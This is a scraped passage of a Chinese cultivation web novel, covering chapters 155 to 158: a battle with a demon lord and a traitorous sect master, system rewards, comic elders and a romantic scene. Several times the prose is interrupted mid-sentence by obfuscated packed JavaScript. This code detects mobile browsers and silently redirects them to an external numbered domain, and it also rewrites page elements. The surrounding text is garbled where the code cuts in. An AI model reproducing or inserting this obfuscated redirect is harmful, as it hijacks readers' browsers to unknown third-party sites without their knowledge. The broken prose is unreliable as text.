他笑容收敛,目光瞥 向虚空某处,“尊上还不出手吗?我若落败对你可没有好处!” 虚空裂开一道缝隙,走出一道身影。 阴无涯身披黑袍,面容阴鸷,“厉宗主,你未免让本尊有些失望,区区一个小丫头都拿不下?” “呵呵。” 厉千山冷笑,“不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638226|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪这丫头玩玩而已,今日之局,唯有你我合力可破,尊上就莫要想着渔翁得利了。” 他转头看向南宫媚儿,眸光复杂,“如今的你,有资格让为师使出真正的实力。” 话音未落。 他周身气势再度暴涨,提升到了洞虚十阶大圆满,半步大乘! 那青色灵力中,夹杂着丝丝黑气,触碰到了魔道边缘。 南宫媚儿神色凝重,手中忘情剑发出清越剑鸣。 她玉足轻点,身形如蝴蝶般轻盈而起,剑光如虹,直取厉千山咽喉,后者不闪不避,双指并拢,夹住了剑锋。 “媚儿,还是让为师教教你,什么才是真正的七情合道诀!” 砰! 巨力袭来。 南宫媚儿连人带剑,被震退数十丈。 她稳住身形,嘴角溢出一丝鲜血,眼中战意反而更盛。 “你还有情吗?” 她挑起的红唇,颇有些讥讽之意,“为了自己,师父都敢杀的人,哪来的情?既是无情,又哪来的七情合道?” 南宫媚儿手中忘情剑绽放出刺目粉光,“你已入魔!” “住口!” 厉千山暴怒,周身灵力骤然变得狂暴,“你懂什么!” 他双手结印,一棵参天大树虚影在背后浮现。 枝木摇晃,无数枝叶铺天盖席卷向南宫媚儿,她不慌不忙,挥手间一架古琴悬浮身前。 随着她那纤纤素手拨动琴弦,一道清越的琴声骤然响起。 音波化作实质性的粉色涟漪,与漫天飞叶轰然相撞。 慕长歌看后有些安心,这丫头表现得越来越好了,看样子已经渐渐地掌握了提升起来的实力,那么也该轮到他了。 “老魔头,我们又见面了。” 他指尖把玩着血煞剑,“我以为你不敢出来了呢。” “本尊有何不敢?” 阴无涯一声冷哼,“莫不是以为本尊怕了你?” “不是吗?” 慕长歌笑了笑,“你我之间多次较量,你可有赢过一次?” 他话锋一转。 “其实你早就来了,在我与厉千山交手时就一直在,只是你不敢现身,你想看清我的真正实力,失望的是,你看不透。” 他笑意更浓,“可我能看透你,如今的你,死过一次复生之后,只堪堪恢复到大乘二阶而已。” “以你的小心谨慎,自是不愿多加冒险,可你知道只要我在,你就不可能得到禁地里的东西,所以你不得不现身。” 慕长歌手中长剑指了过去,“今日你我就做个了断,我会让你有来无回。” 第155章 玉蟾误袭女魔修,一声惨叫惊全场 阴无涯面色阴晴不定一双眸子阴冷盯向慕长歌**这厮哪来的底气说出这番话。 第一次交手是在北邙山那时的他凭借阵法占尽优势本想将叶灵曦以及水月他们一网打尽。 就是这厮的出现打破了他的好事又以防不胜防的神奇手段斩了他一条命。 好在凭借血魔功之法他可以复活一次。 如今又已恢复到大乘境界而这厮修为至多在洞虚巅峰最强也不过厉千山的水准。 虽说由洞虚到大乘只是一个大境界的跨越可其中的实力差距犹如巨人与蝼蚁。 就凭此等修为加之他小心应对那些诡异的神通手段未必不能趁机杀了他。 “慕长歌本尊对你是有些忌惮可你又何尝不是如此?” 阴无涯双手抱胸食指敲打着臂弯指甲极长“你若真有打赢本尊的把握又何必在这装腔作势?” “是吗?” 血煞剑绽放寒光慕长歌身影消失原地“那就尽管一试!” 他的确没有太大把握除掉阴无涯。 不过他想看看自身当前极限处于何处根据他的猜测应该不会落败可打赢极其艰难。 这一次只要将这魔头重创就好等他状态恢复到巅峰之态立即杀到对方老巢。 如此 但若不是阴无涯的对手他只能消耗气运值用以提升实力将这魔头就地斩杀。 血煞剑划破长空带起一道血色长虹。 阴无涯冷笑一声袖袍挥舞间九条魔龙呼啸而出与剑光轰然相撞气浪涟漪扩散。 慕长歌借势后退剑锋一转又是三道剑气激射。 阴无涯不慌不忙双手结印身前浮现一面漆黑魔盾。 铛铛铛! 剑气与魔盾相撞发出震耳欲聋的声响。 两人身影交错眨眼间已过百招。 某一刻。 两人于半空相对而立。 慕长歌嘴角含笑。 阴无涯满目阴沉他已然察觉到慕长歌的实力比之他们在北邙山交手那次强了不知多少倍。 要么之前的他尚未用尽全力可给他的感觉显然不是。 要么就是他的修为是在最近得到的提升。 再联想到这厮其他手段阴无涯萌生了一个大胆的想法背脊忽然发寒。 那就是他们这些天魔存在于世的真正目的 便是要杀了潜藏在意识中的那个人。 可他若是那个人,又为何千年以来寂寂无名,甚至云清璃都飞升了,这厮仍身在下界? 很快,阴无涯排除了最错误的答案。 这厮绝不会是他们要找的人,只是多年来伪装成了废柴。 他是故意让人摸不清真正的实力,所以每一次和其他人交手,刻意表现出竭尽全力。 对! 一定是这样! 想骗过他这位天魔,实在太天真了! 无论如何,今日他定要得到禁地中乌云魔尊的本源。 只要得到了正宗的本源,就能进阶他身上的血脉,从此他这位由血海中诞生的血魔,便是真真正正的先天魔尊! “魔头,天要黑了,你还打不打了?” 慕长歌故意催促道,“打就快打,不打就自尽,我还要趁早回去,跟我的小媚儿过二人世界呢。” 不远处,正在与厉千山激烈交锋的南宫媚儿隐约听了这句,娇俏的脸蛋忍不住泛起些红润。 厉千山像是受到了巨大的刺激,发疯了似的攻向了南宫媚儿。 地面上。 一名白须长老闪身来到玉蟾身旁,“师兄,我等现下应当如何?” 玉蟾捋了捋胡须,沉吟了片刻,紧跟着一拳头敲在那长老头上。 “笨蛋!这种事情也要问?当然是干他们呀!” 他转身,拂尘一挥,“众弟子听令,随老夫杀光这些魔崽子!” “杀!” 早已按捺不住的众人齐声呐喊,纷纷祭出法器冲向天魔门众人,一时间各色灵光交织,喊杀声震天。 青竹一马当先,手中长剑化作青色长虹,瞬间洞穿三名魔修胸膛,打得他们措手不及。 “为死去的同门报仇!” 他转身高喊,众人气势如虹,无论修为实力如何,凭借这满腔热血,已然压倒了魔门那些人。 “哈哈哈!痛快,老夫这把老骨头也该活动活动了!” 玉蟾拂尘挥动,无数根银丝如暴雨般射向魔修阵营。 所过之处,魔修纷纷倒地哀嚎。 他找到了少有的快感,以往他这出窍境的实力,遇到真正的强者,只能夹着尾巴。 如今有机会虐上一些寻常的魔崽子,自是不留余力。 其他长老发现玉蟾的踪迹,各自鄙夷不已,他们都是寻找与自身实力匹敌的对手,以此减少普通弟子的伤亡。 这货倒好,专挑软的捏! 就特么是个 用了三代的钉耙,无耻! 高空之上。 阴无涯阴冷的目光落下,勾起一抹讥讽。 “慕长歌,你手里的血煞剑,乃是我魔门至宝,你身为正道之人,却用我魔门之物,不怕遭人诟病么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638227|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他故意提高声音,让在场众人都能听见,“若将此剑归还于我,本尊倒还敬你是条汉子!” 慕长歌不仅不恼,反而露出一抹玩味。 他敲了下剑身,“你说这剑是你的,那你叫它一声,看它答不答应?” “你!” 阴无涯脸色一沉,眼中闪过恼怒。 血煞剑早在他与云清璃那一战中,就与他切断了联系。 更何况慕长歌还精通器心通明的手段,显然无法回到他手里,除非对方主动交还。 但凡这把剑回到他手里,再以秘术封印剑身自有的灵性,借助天级灵兵之势,他有极大把握斩了慕长歌。 “既然你想要,那就给你好了。” 让阴无涯没想到的是,慕长歌随手又将剑丢给了他。 他尚在懵圈,却见剑身剧烈震颤,一道血色剑气毫无征兆迸发。 噗! 剑气贯穿他的右肩,带出一蓬黑血。 阴无涯哪还不知,自己又双叒叕上当了! 自己这个魔尊,魔道之人,如此负面人物,比起这厮那都单纯多了! “惊喜吗?” 慕长歌声音紧随而至。 阴无涯抬头看去,只见他浑身肌肉暴涨,青筋如虬龙凸起,原本合身的衣袍,刺啦一声被撑得粉碎,露出精壮如铁的上身。 那夸张的肌肉线条,简直如同上古战神降世! 他头顶一尊古朴巨鼎凭空浮现,鼎身铭刻着玄奥符文,散发着令人窒息的威压。 “我砸死你个老魔头!” 在众人眼球暴凸过程中,慕长歌抡起巨鼎,朝阴无涯当头砸下。 那魔尊仓促结印,在头顶凝聚出九重魔气屏障。 然而巨鼎势如破竹,一连击碎八重屏障,最后一重也摇摇欲坠。 咔嚓! 伴随着脆响声,阴无涯脸色大变。 他当面被砸中,恐怖的冲击将他砸进了地面,掀起漫天烟尘。 此时的玉蟾,刚好冲到一名魔修面前,正准备一掌将其毙命,地面传来的巨大震动,让他直接趴在了那名女魔的身上。 好巧不巧的,按住了对方的软肋。 握草两个字险些脱口。 只听那女魔一声尖叫,膝盖命中了玉蟾的难言之隐,疼得老仙师嚎出了汤姆叫。 趁他病,要他命! 这是慕长歌一贯的原则。 “酒神祭、万剑归宗!” 仰头灌下一口烈酒,浑身气势再度攀升。 他喷出酒雾,在空中化作万千剑影,如狂风骤雨而落。 第156章 血染仙裙泪如雨,鸾凤和鸣显神威 剑雨落点处,烟尘冲天而起,遮蔽了半边天空。 玉蟾于目瞪狗呆。 这也太夸张了! 这么凶猛的攻势,就算阴无涯那个魔头,也要被打成飞灰了吧? 他身旁的女魔修早已趁机逃窜,但此刻谁还顾得上追她? 烟尘弥漫尚未散去,众人看不清其他,只隐约看到地上出现一个直径几十丈的巨坑。 青竹呆愣在原地,剑尖还在滴落着魔血,心中深感这位前辈的强大程度,令人匪夷所思。 “完了!” 那位长老跑到玉蟾身边抓耳挠腮,指着那里的深坑,疯狂摇晃着玉蟾,痛哭流涕,“师兄,完了啊,这要多少灵石,才能修好啊!” “灵**石!” 玉蟾额头青筋暴露,抬手在那白发长老头上,狠狠敲了一下。 这个死守财奴,眼里只在乎灵石。 这可是宗门保卫战,万一落败他们谁都活不了。 就在众人以为即将尘埃落定,另一边战况急转直下,厉千山发出野兽般的嘶吼。 他周身燃起血色火焰,气息疯狂暴涨,短暂提升到了大乘二阶。 “竟敢将为师逼到这等地步!” 他面目狰狞,七窍流血,“**吧!” 轰! 恐怖的气势,击碎了南宫媚儿的防御。 她闷哼一声,娇躯似那断线的风筝,月白留仙裙溅起血花点点。 慕长歌瞳孔微缩,身形一闪,伸手揽住佳人的纤腰。 不等他喘口气,一道黑影从坑中窜出。 阴无涯浑身浴血,右臂不翼而飞,左手凝聚出一道漆黑魔光,直取慕长歌后心! “慕长歌,**吧,哈哈哈!” 阴无涯出手用尽了全力,似是要在这一击之下,打得慕长歌支离破碎。 慕长歌头也不回,血煞剑反手一挥,青莲剑意劈开了那道魔光,剑势炸响虚空,奈何厉千山的血色双掌已经轰至! 砰! 结结实实的一掌,拍在了慕长歌的后背。 他周身爆发出耀目金光,将厉千山和阴无涯同时震飞数百丈。 阴无涯半跪在地,大口喘息,满脸的阴沉。 厉千山爬在了地上,用尽了气力才勉强站了起来,哪怕如此,那虚浮的气息,依旧彰显着他虚弱的状态。 时间就此凝固,所有人没了动作。 滴! 滴答! 鲜红的血线似断了线的珍珠,一滴接着一滴落在南宫 媚儿的仙裙,在她鼓鼓囊囊处晕散开朵朵红梅。 她瞳孔骤然放大,勾魂夺魄的美眸闪烁个不停,里面倒映着刺目的鲜红。 那纤细的手指不受控制地颤抖着,想要触摸那不断滴落的血迹,又害怕会弄疼他。 “夫君. 她的声音轻得如同羽毛落地,带着前所未有的颤抖。 慕长歌嘴角的血迹仍在蔓延,却对她露出一个安抚的笑容,“没事就好。 这简单的几个字一经出口,像一把钝刀狠狠刺进南宫媚儿的心口,她抬起颤巍巍的玉手,轻抚慕长歌的脸颊。 指尖传来的温度,让她鼻尖一酸,他受了那么重的伤,第一时间关心的竟然还是她! “你这个傻子 她笑着哭,泪痕顺着精致的下巴,滴落在两人交握的手上。 慕长歌紧了紧环住她腰间的手臂,将她更安全的护在怀中,即便此刻后背火辣辣的疼痛,差点让他眼前发黑。 “别哭,这点小伤不算什么。 他微笑道。 南宫媚儿哭得更凶了,这个平日里妩媚动人的合欢宗主,像个无助的小女孩,揪紧了他的衣襟。 方才那是厉千山竭尽全力的一掌,就那么打在了他的身上,如此严重的伤势,他还说是小伤。 都是为了保护她才分心,都是为了她才受伤。 玉蟾在远处看得真切,这位老仙师破口大骂,“两个臭不要脸的,加起来都特么几千岁了,居然玩偷袭! 他就要冲上去,反被青竹一把拉住。 “长老别冲动,那种级别的战斗,你上去就是送死! “滚开!老子忍无可忍了! 玉蟾一把将他推开,“厉千山,你这个叛徒,本长老不打出你的屎,算你拉得干净! 他猛地一个跺脚,就冲了上去。 厉千山吐了口血水,向着身侧随手一挥。 巨力袭来,打飞了玉蟾拂尘上飞出去的银色丝线,玉蟾自己紧跟着受到冲击,一口鲜血吐出,跌落在原地。 青竹连忙将他扶起。 玉蟾嘶哈着冷气直起了腰板,老脸窘迫到低头咳了声,“那个青竹啊,你这就不实在了,其实你完全可以再拦着点老夫的。 “…… “不自量力! 随着厉千山这声冷哼。 南宫媚儿的小宇宙彻底被点燃,她一道闪身,离开慕长歌的怀抱,双目喷火。 “厉千山,敢伤我男人,我要你的命 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638228|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >!” 愤怒使然,恐怖威压使她再破一境。 洞虚十阶! 两人再度疯狂交手,只是这一次,纵然厉千山燃烧了气血,也完全被压着打,落败是迟早的事。 “叮!恭喜宿主攻略气运之女南宫媚儿,攻略进度100%,获得气运值返还110000点!” “叮!南宫媚儿修为晋升洞虚巅峰,气运值已提升至150000,已全部返还给宿主。” “恭喜宿主获得额外奖励,阴阳合欢诀下卷,已为宿主自动融合上卷,奖励鸾凤和鸣大自在心法(仙品**)” “此**妙用无穷,凡用此功皆可自动建立羁绊,获得对方修为反哺100%(仅限气运之女)” “恭喜宿主与南宫媚儿建立双修羁绊,自此她修炼你变强,鸾凤和鸣可使彼此共同获益修为增进指数200%” “恭喜宿主再次获得额外奖励,复我本真(已将宿主恢复本身容貌,日后无需依仗变身术维持)” 握草! 听着系统这一连串的提示音,慕长歌有些懵。 这次的奖励未免太多了,只是气运值就得到了260000万,积累的总值达到了640000! 还有鸾凤和鸣大自在心法,不愧是仙品**,就是个超强BUG。 这岂不是说,日后但凡与他有过深度交流的气运之女,就能自动建立羁绊,并得到对方修炼,他变强的超强能力? 这.逆天啊! 不过,总算攻略完成了南宫媚儿。 到底是合欢宗主,精通男女之事,最后这10个点的攻略,增加了不少难度,好在收益不菲,自己的伤也没白受。 “系统,你没把我变回年轻时那个样子吧?” 若是此刻变回,他担心南宫媚儿会以为他的伤势,严重到了一定程度,就是连变身术难以维持。 实际上他要是没有无垢金身,能够抵挡神魂上的攻击以及肉身创伤,就厉千山那一掌,还真能打得他失去战斗力。 “叮!宿主依旧是眼下的样子,这才是你真正的容貌。” 慕长歌皱了皱眉,施展变身术时,他是按照心中的轮廓所变化,原来这才是他真正的容貌。 “系统,可知我的真正身份?” 他又问道。 “叮!经过系统慎重检测,宿主会随修为提升,逐渐解锁尘封的记忆,当前修为等级:不如蝼蚁!” “……” 他这身战力,堪比大乘境,系统对他的评价,居然是不如蝼蚁? 第157章 魔修瑟瑟求饶命,合欢弟子笑磨刀 慕长歌缓缓抬手,握住悬浮在身侧的血煞剑。 剑身嗡鸣震颤,回应着主人的召唤。 “魔头,你可知何为真正的绝望? 这声音不大,可如惊雷炸响每个人耳边。 阴无涯瞳孔骤缩,本能地后退半步,随即又强装镇定。 “慕长歌,你少虚张声势! 他面露阴笑,“你已重伤,还能发挥几分实力? 慕长歌没有回答,手指抚过血煞剑,剑身之上血色纹路亮起,一股令人窒息的杀意弥漫开来。 方圆百丈内的温度骤降。 “那你就来试试看! 最后一个字落下,他身影消失。 阴无涯脸色大变,魔心狂跳,感受到了殒命的危机。 这可是他最后一条命,再死就真的要毁在这厮手里了,他急忙祭出噬魂幡。 黑幡舞动间,形成层层防御。 铛! 血煞剑毫无征兆地出现在阴无涯头顶,重重劈在黑幡上。 火花四溅中,阴无涯闷哼一声,双腿陷入地面三寸。 “这不可能! 他难以置信,“你分明受了重伤,怎会仍有一战之力! 他不曾逃走,就是想利用这个机会,彻底斩了慕长歌,吸了这小子的气血,对于他恢复实力,可是大有好处。 但没想到,厉千山拼尽全力那一掌,似乎并未带给他太多伤害。 不对! 他绝对重伤了,只是在硬撑着而已。 “血煞、千重浪! 慕长歌舞动手中长剑。 轰! 剑势如潮,一浪高过一浪。 阴无涯仓皇抵挡,仍被连绵不绝的剑气逼得节节败退。 他的黑袍被剑气撕得粉碎,露出布满伤痕的躯体。 “啊! 又是一道剑气划过他脸颊,带起一蓬黑血。 他怒吼一声,周身魔气暴涨。 血魔、万魂噬! 无数冤魂厉啸而出,化作狰狞鬼脸扑向慕长歌。 他不闪不避,血煞剑横于胸前。 血煞、吞天! 剑身化作一个血色漩涡,将那些冤魂尽数吞噬。 阴无涯见状,脸色瞬间惨白。 血魔功! 他怎么会血魔功! 阴无涯又见慕长歌剑锋一转,九道金色剑影同时浮现,从不同角度袭向了他。 纵然他仓皇躲避,仍被三道剑光贯穿身体 ,带起蓬蓬黑血。 噗! 阴无涯喷出一口黑血,单膝跪地。 他抬头看向慕长歌,眼中再度流露出曾经出现过的恐惧。 “你到底是什么人! 阴无涯本能的恐惧,“碧霄宫堂堂仙道宗门,怎会容忍你这种修炼魔功的另类! 最让他惊骇的是,慕长歌既然修炼了魔功,为何心性没有受到影响,为何没有同化成魔。 这一刻,他只感觉眼前之人带来的恐惧,甚至超越了云清璃带给他的心理阴影。 那个女人看似人畜无害,实则歹毒得很,足足将他的肉身劈成了九九八十一块。 他用了百年时间疗养,才恢复到洞虚境,刚要实施复仇计划,又转眼遇上了幕长歌这个煞星。 碧霄宫内为何频出怪胎! “我是另类,你又何尝不是,但我与你不同,**在我手里就只是**,魔道与仙道在我眼里,并没有任何区别。 血煞剑在地上拖出一道血煞。 剑尖抬起,指向阴无涯喉咙,“魔若有道亦是仙,仙若无道亦是魔,而你们不过是他人创造出来的腌臜物! 低沉之音,震耳发聩。 阴无涯双目充斥着血线,“你想杀我,没有那么容易! 他单掌拍地,身形化作一团血雾向着远处逃遁。 慕长歌单手一指,六面金色屏障从不同角度呈现夹击之势,将阴无涯困在其内。 探手成阵! 饶是玉蟾再次见识到这样的手段,依旧感到震惊。 合欢宗其他长老跟弟子更不用说,他们本以为自己宗门跟碧霄宫的底蕴相差不多。 但此刻,只是一个慕长歌,就拥有让整个合欢宗,付出惨痛代价的实力。 若再加上其他高手,对于他们而言,那就是碾压性的实力。 到底是北域第一仙门,名声并非吹嘘。 众人又见那囚笼内,探出数道锁链,将阴无涯的身躯缠绕,透过那锁链,涌起数道细小的电蛇。 它们围绕着阴无涯的四肢百骸,以及全身的经脉,剧烈的疼痛,让他惨叫不休。 玉蟾看得直咂嘴,堂堂魔尊被虐到了这等地步,让人匪夷所思。 血煞剑早已按捺不住兴奋,化作一道血色光芒,径直冲向大阵。 阴无涯瞳孔骤缩,死亡的恐惧深深将他笼罩。 “慕!长!歌! 阴无涯面容狰狞,“本尊绝不饶你!! 砰! 他爆成了一团血雾。 剑势落空,只斩中了一道残影。 百丈开外,血雾重新凝聚,只是未敢停留,以极快的速度遁去。 慕长歌并不觉得可惜,那魔头施展了血魔解体术,才挣脱束缚逃了出去,肉身已毁,实力十不足一。 方才他也通过秘术,得知天魔门潜藏在何处。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638229|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他只需修养几日,前去毁了那里的血海,再斩了阴无涯,北域的威胁就彻底消除了。 转头看去,南宫媚儿正踉跄后退,娇嫩的红唇溢出一丝鲜血,气息虚弱了几分。 厉千山则满头白发,皱纹遍布肌肤,不复那俊美青年之貌,他趁机化作一道流光,紧随阴无涯逃遁而去。 “媚儿!” 慕长歌闪身来到她身旁,一把扶住摇摇欲坠的佳人。 南宫媚儿靠在他怀里,虚弱地笑了笑,“我没事,只是没想到那老贼还有些余力.是我没用了。” “无妨。” 慕长歌为她擦无嘴角血迹,抬头望向天际,“他跑不掉。” 眼中寒光一闪,一座古朴的大鼎,化作百丈大小,拦截在厉千山眼前。 一声震天巨响,厉千山只来得及发出凄厉惨叫,就被吞天造化鼎砸成了血雾,连神魂都没能逃出。 那些魔修全部吓傻了,他们的魔尊落败逃了,甚至丢了肉身。 厉千山也被砸成了血雾,连个渣都不剩。 玉蟾见状,乐得合不拢嘴。 他转身一挥拂尘,“众弟子听令,把这些魔崽子给我围起来!” 数百名弟子齐声应和,各色法器光芒闪烁,将剩余魔修团团围住,他们面如土色,瑟瑟发抖地聚在一起。 场面变得极具戏剧性。 魔修们挤作一团,如被狼群包围的小绵羊。 他们脸色惨白,豆大的汗珠,顺着额头滚落,有几个胆小的已经尿了裤子。 合欢宗众弟子们集体上前一步,个个摩拳擦掌,脸上挂着‘和善’的笑。 一个个的像是饿了三天的猫,见到了肥美的鲜鲍鱼。 “别、别动手,我们投降行不行?” “投降?” 玉蟾挑眉看向那名女魔,眼睛眯成一条线,“你踢老子那一脚时,不挺嚣张的吗?” “诸位魔道道友,别紧张。” 青竹搓着手,长剑在掌心拍得啪啪响,“我们都是好人,跟你们不一样,不残忍。” “就是、就是.” 一名女弟子舔了舔嘴唇,纤手拂过发丝,“我们合欢宗弟子,最是热情好客了~” 魔修们集体打了个寒颤。 热情好客没感受到,倒是感觉到了想把他们生吞活剥! 嗡! 血煞剑脱离慕长歌身侧,一分为九,悬浮在魔修们的头顶。 九道剑影亮起了血芒,恐怖吸力爆发。 惨叫声此起彼伏。 魔修们惊恐地发现,自身气血被抽离体外,化作血线没入剑身。 随着一连串轻响,数十名魔修一同化作了飞灰,随风飘散。 第158章 夫君戏精装重伤,鸾凤和鸣修妙法 血煞剑打了个饱嗝九道剑影重新合为一体晃晃悠悠地飞回慕长歌身边亲昵地蹭了蹭他的手臂。 全场鸦雀无声。 众人集体石化摩拳擦掌的架势僵硬在了脸上。 慕长歌尴尬地咳了声“那个.它有点饿了剩下的灰你们随意。” “……” 灰都吹没了他们随意个**啊? 有**吗? 一根都没有。 哪怕一根也好啊。 尘埃落定日落西山慕长歌也不理会呆愣中的众人抱起南宫媚儿化作天际的流光直奔寝宫。 有血煞剑在也不用担心是否有弟子沾染了魔气。 两人走后玉蟾正捋着胡子清点伤亡感觉衣袖被人拽了拽。 “师兄.” 又是那个白发苍苍的老者挫着手凑了过来脸上堆满讪笑“您看这满目疮痍的该怎么办啊?” 玉蟾斜眼一瞥“白算盘你是负责宗门金玉堂的长老你问谁?” “话是不假可宗门是大家的嘛” 这位名叫白算盘的长老讪笑两声。 他从袖中掏出个迷你版金算盘拨弄起来“师兄您看咱们要不要平摊修缮费用也好节省宗门用度?” 咔嚓! 玉蟾手里的拂尘断成了两截。 “平摊?” 老仙师皮笑肉不笑“白师弟老夫记得上次你要修缮炼丹房把老夫那里也一并拆了重盖最后账都算到了老夫头上?” “那个、那个是” 白算盘额头冒汗。 “还有上上次!” 玉蟾掰着手指“你说要扩建藏书阁却把老夫的静心室给刚入门的弟子改成了茅房!” “误会!纯属误会!” 白算盘连连后退“那是风水需要.” “最可气的是上上次 玉蟾一把揪住白算盘的衣领“你知道老夫多久没领过宗门的灵石了我还欠了宗门一屁股饥荒这都是你拜你所赐啊白师弟?” “师兄息怒啊这次真的只是平摊.” 白算盘被晃得眼冒金星金算盘都掉在了地上“我等既为长老理当为众人表率.” 玉蟾突然松开手拍了拍他的肩膀。 “白师弟你说得很有道理。” 白算盘刚松口气就听玉蟾慢悠悠补了一句“.下 次别再说了为兄怕忍不住打死你。” 说完老仙师一甩袖袍驾着半截拂尘嗖地飞走了留下白算盘在原地凌乱。 “师兄!师兄别走啊!” 白算盘捡起金算盘追了两步脚下一绊。 低头一看竟是半块被剑气劈碎的砖石他心疼地看着砖石那可是上好的青灵玉石一块值十灵石。 白算盘眼珠一转掏出个储物袋一边捡着地上的碎石块一边嘴里念叨着“捡回去拼一拼还能用。” 不远处青竹和一众弟子看得目瞪口呆。 “白长老在干嘛?” “嘘别打扰他听说白长老年轻时是靠捡破烂起家的。” “难怪算盘打得这么精。” “嗷吼吼吼.” 白算盘叫了一声跳了起来。 他摸到了一块带着剑气的碎石手指被切了个口子。 “血!见血了!” 他捧着手指哀嚎“工伤这得算工伤医药费要报销!” “……” 青竹默默转身“走吧该去巡逻了。” “对对对巡逻要紧!” “我突然想起来了丹炉还没关火” “我道侣要生了.” 眨眼间广场上就剩白算盘一个人捧着手指哀嚎。 晚风吹过卷起几片落叶显得格外凄凉。 南宫媚儿依偎在慕长歌怀里脸颊紧贴着他那夸张的胸肌能清晰地感受那坚硬如铁的肌肉线条还有那炙热的体温。 “好结实” 她红着脸小声嘀咕手指不自觉地画着圈。 尽管不是第一次亲密接触但每次触碰这具充满力量的身体还是会让她心跳加速。 转眼间两人回到了寝宫直到慕长歌将她放在南宫媚儿这才如梦初醒。 “夫君!” 她急忙坐起身小手慌乱地在他身上摸索“你要不要紧?快给我看看!” “要紧!强烈要紧!非常要紧!” 嗯! 重要的事情说三遍。 慕长歌身影一晃夸张地捂住胸口。 “媚儿 他踉跄几步倒在了床上震得床幔摇晃“我的伤太重了.” “怎么会这样?” 南宫媚儿急得眼泪打转。 原来他是怕自己担心所以一直在强撑着直到回了寝宫放松了心神就撑不下去了。 “我这 就去丹药房,把最好的丹药都给你拿过来!” 她刚转身,手腕就被一只大手牢牢抓住。 “不用麻烦了” 慕长歌声音虚弱,脸色泛白,“丹药没用,只有你.才能救我” 南宫媚儿一怔,夫君想让她怎么救? 总不能是那种方式吧? 合欢功对于修行有所帮助,可疗伤似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638230|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没啥较为杰出的功效。 “夫君你说。” 她一脸认真,上前紧抓他的手,轻咬着粉唇,“只要媚儿做得到,要我做什么我都行。” “确定什么都行?” “嗯!” 她重重点头。 南宫媚儿还没反应过来,就被一把拉了过去。 她惊呼一声,整个人趴在了慕长歌身上,那结实的肌肉,硌得她生疼,又莫名安心。 转而感受到慕长歌的吐息,传进了她的耳朵。 “乳子可教也” 南宫媚儿茫然地眨了眨眼,再看眼前那坏坏的笑容,顿时翻了个白眼,哪还不知这臭男人此刻是在逗弄她。 刚想举起粉拳给他一顿好打,又有些舍不得,只好翻了个白眼。 也不知这坏蛋怎么做到的,那么重的攻势,打在他身上,居然跟个没事人似的。 坏**! 如此吓唬她。 南宫媚儿用轻哼表达不满,坐起身装作不理会慕长歌,眼角余光又忍不住偷瞄。 慕长歌嘿嘿一笑,凑近她耳边,“我有一门**要和夫人共同研习,修之受亿无穷,不但能恢复伤势,还能增进修为。” “什么**?” 望着南宫媚儿的好奇,一缕灵光在他掌心升起,化作点点星芒悬浮在床榻四周。 而后,南宫媚儿只觉得周身一轻,月白留仙裙透过灵光,在床沿堆叠成一朵绽放的花朵,转而覆盖了床下的绣鞋。 灵光越发炽烈,纱幔无风自动。 寝宫外,一轮明月悄然爬上枝头。 月光透过窗棂,在地上投下斑驳的影子。 窗外的风,带来了远处合欢花的淡淡香气,令人心旷神怡。 后半夜,灵光渐渐收敛。 她伏在慕长歌身前,指尖无意识滑动,“这**当真神奇,我的伤势痊愈了,不知夫君感觉如何?” 看着状态良好的慕长歌,她似乎多嘴问了这句。 这厮分明撞得像头牛! 